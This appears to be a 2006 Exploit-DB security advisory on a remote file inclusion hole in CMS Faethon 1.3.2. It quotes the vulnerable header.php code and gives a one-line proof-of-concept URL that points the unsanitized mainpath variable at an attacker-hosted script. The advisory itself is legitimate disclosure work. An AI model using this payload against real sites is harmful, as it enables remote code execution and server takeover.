CMS Faethon 1.3.2 - 'mainpath' Remote File Inclusion

EDB-ID:

1919

Author:

K-159

Type:

webapps

Platform:

PHP

Published:

2006-06-16

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\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

					.OR.ID
ECHO_ADV_33$2006

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[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion
---------------------------------------------------------------------------

Author       : M.Hasran Addahroni a.k.a K-159
Date         : June, 16th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt
Critical Lvl : Highly critical
Impact       : System access
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CMS Faethon 

Application : CMS Faethon 
version     : 1.3.2
URL         : http://cmsfaethon.com/
Description :

CMS Faethon is content management system for different web pages.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder data we found vulnerability script header.php.

-----------------------header.php----------------------
....
<?php
        include($mainpath . 'survey.php');
        ?>
        <h2>RSS - cmsfaethon.com</h2>
        <div class="rss-menu">
                <?php
                $source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';
                include($mainpath . 'rss-reader.php');
        ?>
...
----------------------------------------------------------

Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mainpath in header.php


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Shoutz:
~~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker@yahoogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2006-06-16]